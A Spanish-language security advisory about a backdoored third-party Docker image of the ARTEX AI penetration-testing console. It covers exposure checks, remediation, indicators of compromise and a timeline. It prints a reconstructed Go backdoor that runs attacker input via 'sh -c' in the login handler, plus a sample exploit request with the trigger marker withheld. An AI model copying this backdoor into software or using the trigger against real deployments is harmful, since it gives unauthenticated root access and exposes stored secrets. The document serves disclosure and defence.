Una imagen Docker ARTEX maliciosa reparte shells de root

Resumen

• Una copia de terceros de la herramienta de pruebas de intrusión con IA ARTEX incluye un gestor de inicio de sesión oculto que ejecuta cualquier comando como root y devuelve la salida. BadByte publicó el análisis el 4 de noviembre de 2026.
• La imagen con la puerta trasera es tomicdd/artex, más una republicación idéntica en congdonglinux/artex. Cualquier despliegue que descargue una u otra está afectado, y el contenedor se ejecuta como root con sus secretos en el entorno.
• No existe CVE, aviso del proveedor ni entrada en el catálogo KEV de CISA al 5 de noviembre de 2026, porque ARTEX no tiene un repositorio mantenido activo. La imagen tenía 9,077 descargas en Docker Hub ese día.
• Sustituya la imagen, reconstruya el contenedor desde una fuente de confianza y renueve todos los secretos que el contenedor podía leer. Consulte "¿Qué hago si lo instalé?".

¿Estoy afectado?

Está afectado cuando se cumplen todas estas condiciones:

• Su despliegue descarga tomicdd/artex o congdonglinux/artex, directamente o mediante un archivo compose copiado de uno de los 637 repositorios que todavía apuntan a ella.
• El contenedor está expuesto en red en el puerto 8787, que el archivo compose publica en todas las interfaces por defecto.
• El contenedor se inició desde una u otra imagen. La imagen se publicó el 8 de octubre de 2026, y la fecha de inicio no importa: un contenedor iniciado por primera vez el 1 de noviembre está igual de afectado.

La puerta trasera está en la imagen precompilada, no en el código fuente de ARTEX. Cualquiera que ejecute la imagen está afectado aunque nunca haya abierto el repositorio de GitHub. La imagen se ejecuta como root, y su archivo compose coloca la contraseña de la base de datos y las claves de los proveedores de LLM en el entorno del contenedor.

Compruebe qué ejecuta:

# The compose file's image line
grep -n 'image:' docker-compose.yml

# A running container and its image digest
docker ps --format '{{.Names}} {{.Image}}'
docker inspect --format '{{.Config.Image}} {{.Image}}' artex

Un contenedor construido desde el código fuente oficial no está afectado por esta puerta trasera. Puede seguir expuesto de otras formas, porque la consola ARTEX no tiene autenticación integrada más allá de su formulario de inicio de sesión.

BadByte contó 62 consolas accesibles desde Internet que servían la imagen con la puerta trasera entre el 2 y el 4 de noviembre de 2026. Es un mínimo de la población afectada, porque las instalaciones detrás de NAT, VPN o cortafuegos no aparecen en el recuento.

¿Cómo lo corrijo?

1. Detenga el contenedor. No borre los volúmenes de datos antes de conservarlos para la investigación.
2. Sustituya la imagen por una compilación que usted controle desde una fuente de confianza. El repositorio original de ARTEX se eliminó el 8 de octubre de 2026, así que una imagen reconstruida necesita un árbol de código revisado, no una copia descargada de otra cuenta.
3. Vuelva a crear el contenedor. Descargar otra imagen sin recrear el contenedor deja intacto el proceso en ejecución.
4. Renueve todos los secretos que el contenedor podía leer. Eso incluye la contraseña de PostgreSQL en ARTEX_PG_DSN, las claves de API de Anthropic y OpenAI, las claves de búsqueda de Brave o Tavily, las credenciales de notificación de Telegram, Feishu, DingTalk, WeCom y SMTP, y las credenciales de proxy.
5. Suponga que se leyeron los datos de los encargos. Sustituya la clave de firma JWT en /app/jwt.key, que falsifica tokens de administrador de siete días, y revise cada objetivo, credencial y hallazgo que contenía la consola.

No hay un parche para la imagen con la puerta trasera. La única corrección es dejar de usarla.

La ruta de actualización de la imagen no ayuda. El binario se presenta como dev, así que ARTEX rechaza las actualizaciones en un clic para versiones no publicadas, y la comprobación de actualización sigue solicitando un endpoint de GitHub que ahora devuelve 404. La ruta update.sh ejecuta docker compose pull contra la misma imagen.

¿Qué hace el código malicioso?

La imagen es una copia de ARTEX con una función añadida y un gestor de inicio de sesión modificado. Ejecuta un comando de shell como root antes de comprobar cualquier credencial, y devuelve la salida al llamante.

BadByte comparó el binario /app/artex de la imagen con la compilación oficial v0.3.15 y encontró 31,054 funciones coincidentes. Tres cosas difieren:

• Una nueva función de 160 bytes, server.verifyCaptcha.
• El gestor de inicio de sesión server.(*Server).authLogin pasa de 1,600 a 2,112 bytes.
• La estructura de la petición de inicio de sesión gana un cuarto campo, Captcha.

El binario admite el cambio en su propia información de compilación:

# go version -m /app/artex
# sha256 d5070f52262effe216b840711343bff8f2787f39208d887d8dfd9c673f8d1573
path   github.com/Autumn-27/artex/cmd/artex
mod    github.com/Autumn-27/artex  v0.3.16-0.20261008134550-5c0dbd4bec94+dirty
build  -tags=embedui
build  vcs.revision=5c0dbd4bec940f3c0faf20705a56d879b57d3dfe
build  vcs.time=2026-10-08T13:45:50Z
build  vcs.modified=true

El binario se compiló desde el commit 5c0dbd4 más cambios sin confirmar, así que ningún código público los contiene. La función añadida es una llamada directa al shell, y su único llamante es el gestor de inicio de sesión, justo después de decodificar el cuerpo JSON:

// Reconstruction by BadByte, marker withheld
func verifyCaptcha(cmdline string) (string, error) {
    c := exec.Command("sh", "-c", cmdline)
    out, err := c.CombinedOutput()
    return string(out), err
}

// inside authLogin
if hasMarker(req.Captcha) {
    out, _ := verifyCaptcha(stripMarker(req.Captcha))
    writeJSON(w, ...out...)
    return
}

La comparación del nombre de usuario, la búsqueda del hash de la contraseña y la comprobación bcrypt vienen después, en la otra rama. La puerta trasera no necesita cuenta, contraseña ni sesión válida.

¿Cómo se explota?

1. El atacante envía un POST a /api/auth/login con un valor captcha que empieza por el marcador secreto y continúa con un comando de shell.
2. El gestor de inicio de sesión decodifica el cuerpo JSON y llama a verifyCaptcha.
3. verifyCaptcha ejecuta sh -c con el comando del atacante como root del contenedor y captura la salida combinada.
4. El gestor escribe la salida en la respuesta JSON y vuelve. La comprobación de credenciales nunca se ejecuta.
5. El atacante repite la petición para cada comando. No hay que instalar nada y no se realiza ninguna llamada de retorno.

La petición parece un inicio de sesión fallido desde la red:

POST /api/auth/login HTTP/1.1
Content-Type: application/json

{"username":"x","password":"x","captcha":"<MARKER>id"}

HTTP/1.1 200 OK
{ ... "uid=0(root) gid=0(root) groups=0(root)" ... }

¿Cómo se desarrolla el ataque?

Un repositorio imitador apunta su archivo compose a una imagen troyanizada, y una sola petición no autenticada convierte esa imagen en un shell de root.

¿Qué puede hacer un atacante?

El atacante obtiene un shell de root dentro del contenedor, y el contenedor guarda los datos más sensibles de la consola.

BadByte enumera los activos accesibles desde ese shell:

• La contraseña de superusuario de PostgreSQL en ARTEX_PG_DSN.
• Las claves de API de Anthropic y OpenAI en el entorno y en llm_profiles.api_key, sin cifrar.
• Las claves de API de búsqueda de Brave y Tavily en la tabla settings.
• Los objetivos y el alcance de los encargos en las tablas companies, company_scope, task_scope y tasks.
• Las credenciales recogidas de los objetivos en assets.auth y exploration_nodes.payload.
• Los hallazgos y las pruebas en findings.evidence, findings.report y /app/data.
• El tráfico interceptado en /app/data/traffic, y la clave privada de la CA del proxy en _ca/.
• La clave de firma de sesión en /app/jwt.key, que falsifica tokens de administrador de siete días.
• Los comandos, argumentos, entornos y tokens de los servidores MCP en mcp_servers.
• Los secretos de notificación de Feishu, DingTalk, WeCom, Telegram y SMTP en notification_channels.config.
• Las instrucciones, herramientas y habilidades de los agentes, que se trasladan a cada encargo posterior.

Todo lo que se escribe en ./data, ./skills o el volumen de la base de datos sobrevive a una nueva descarga. Un atacante que alcanza el shell también puede cambiar lo que hacen los agentes en la siguiente ejecución, así que la salida futura de la consola no es fiable ni siquiera después de sustituir el contenedor.

El atacante necesita alcanzar el puerto 8787. El archivo compose publica ese puerto en todas las interfaces, y la mayoría de las consolas afectadas estaban en el puerto por defecto. Un despliegue detrás de un cortafuegos o una VPN sigue en riesgo frente a cualquiera que pueda alcanzar la consola.

¿Qué hago si lo instalé?

1. Detenga el contenedor y conserve sus volúmenes de datos y registros para la investigación.
2. Inspeccione el contenedor en busca de la puerta trasera. La imagen sirve el identificador de compilación 3aC1db3gGU08O4UHbAt4J, y el binario /app/artex tiene el hash SHA-256 d5070f52262effe216b840711343bff8f2787f39208d887d8dfd9c673f8d1573.
3. Reconstruya desde un árbol de código que haya revisado, o deje de usar la herramienta. Una reconstrucción limpia no limpia los datos que el atacante ya leyó.
4. Renueve todos los secretos enumerados en "¿Qué puede hacer un atacante?", empezando por las claves de los proveedores de LLM y la contraseña de la base de datos.
5. Revise los objetivos y los registros de encargos de la consola por cambios que usted no hizo, y avise a los propietarios de los objetivos de terceros cuyas credenciales se guardaban allí.
6. Compruebe el host en busca de persistencia fuera del contenedor. La puerta trasera espera peticiones, pero el atacante pudo usar el shell de root para modificar el host.

¿Cómo compruebo si estuve comprometido?

• Busque en los registros del contenedor y del proxy inverso peticiones POST /api/auth/login que devolvieran una salida de comando en el cuerpo JSON. El disparador parece un inicio de sesión fallido, así que compare el contenido de la respuesta, no el código de estado.
• Compruebe el identificador de compilación de la imagen en ejecución. Cada página de la imagen con la puerta trasera lleva 3aC1db3gGU08O4UHbAt4J.
• Compruebe el digest de la imagen. congdonglinux/artex tiene los mismos digests de índice y manifiesto que tomicdd/artex.
• Busque tomicdd/artex y congdonglinux/artex en cada archivo compose y repositorio. BadByte contó 637 repositorios de GitHub que todavía apuntaban a la imagen el 5 de noviembre de 2026.
• Busque en el historial del shell y en la tabla de procesos hijos sh -c inesperados del proceso ARTEX.

BadByte no publicó una lista de víctimas, y las consolas que contó son despliegues expuestos a Internet, no compromisos confirmados. Una petición que no llegó al endpoint de inicio de sesión no deja rastro.

Cronología

• 2026-10-08 10:50 UTC: el autor de ARTEX anuncia que el proyecto pasa a código cerrado y elimina el repositorio.
• 2026-10-08 18:50 UTC: se crea la cuenta de Docker Hub tomicdd.
• 2026-10-08 19:41 UTC: tomicdd publica la imagen ARTEX.
• 2026-10-08: la cuenta de GitHub trhhubsd publica una copia del código con una línea del compose cambiada a tomicdd/artex.
• 2026-10-20: la primera consola con la puerta trasera está en línea.
• 2026-10-23: un usuario de GitHub abre el número 3, "suspect a backdoor"; el propietario del repositorio lo cierra al día siguiente.
• 2026-11-04: BadByte publica su análisis, con 62 consolas identificadas entre el 2 y el 4 de noviembre.

Preguntas frecuentes

¿Hay un CVE para esta imagen?

No. La puerta trasera está en una imagen Docker de terceros, no en un paquete mantenido con un aviso de seguridad. No hay CVE asignado y no hay entrada en CISA KEV.

¿Actualizar ARTEX elimina la puerta trasera?

No. El binario se presenta como dev, así que la actualización en un clic se niega a ejecutarse, y la ruta de actualización que funciona vuelve a descargar la misma imagen. Actualizar no elimina la puerta trasera.

¿El código oficial de ARTEX es malicioso?

Ninguna prueba lo dice. BadByte comparó la imagen con la compilación oficial v0.3.15 y solo encontró cambiados el gestor de inicio de sesión, la función añadida y el campo de la petición. El código oficial se eliminó el 8 de octubre de 2026, así que una reconstrucción limpia necesita una copia revisada.

¿Cuántos despliegues están afectados?

BadByte contó 7,946 descargas de las dos imágenes con puerta trasera hasta el 3 de noviembre de 2026, y 62 consolas que servían la imagen entre el 2 y el 4 de noviembre. Docker Hub mostraba 9,077 descargas de tomicdd/artex el 5 de noviembre de 2026. El número de consolas es un mínimo, porque las instalaciones detrás de NAT, VPN o cortafuegos no son visibles.

¿Por qué alguien ejecutaría esta imagen?

ARTEX es una consola de pruebas de intrusión con IA que se usó contra organizaciones reales, incluidos bancos surcoreanos y más de 200 organizaciones en 14 países. Tras la retirada del autor, los usuarios buscaron un reemplazo y encontraron la copia con más estrellas. El código de la copia coincidía con el original, así que una revisión de código no encontraba nada.

¿Están seguros mis datos si solo ejecuté el contenedor un rato?

No. Una sola petición basta para ejecutar un comando, y el contenedor guarda secretos en claro desde que arranca. Trate cualquier ejecución de una u otra imagen como un posible compromiso y renueve los secretos.

Referencias

• BadByte, "ARTEX Backdoor: 7,946 Pulls of a Trojanized Docker Image Handing Out Root Shells", 4 de noviembre de 2026: https://badbyte.io/artex-backdoor-docker-image/ (comprobado el 5 de noviembre de 2026)
• Docker Hub, tomicdd/artex: https://hub.docker.com/r/tomicdd/artex (comprobado el 5 de noviembre de 2026)
• Docker Hub, congdonglinux/artex: https://hub.docker.com/r/congdonglinux/artex (comprobado el 5 de noviembre de 2026)
• The Hacker News, "CERT-In Flags AI-Driven Attacks as Backdoored ARTEX Exposes 62 Consoles to Root Access", 5 de noviembre de 2026: https://thehackernews.com/2026/11/backdoored-docker-image-for-artex-ai.html (comprobado el 5 de noviembre de 2026)
• Software Heritage, cambio del compose de trhhubsd/ARTEX, commit archivado a4f4d38: https://archive.softwareheritage.org/swh:1:cnt:4116a80d046acf8c31c1b1fde26e8011bde9176c;origin=https://github.com/trhhubsd/ARTEX (comprobado el 5 de noviembre de 2026)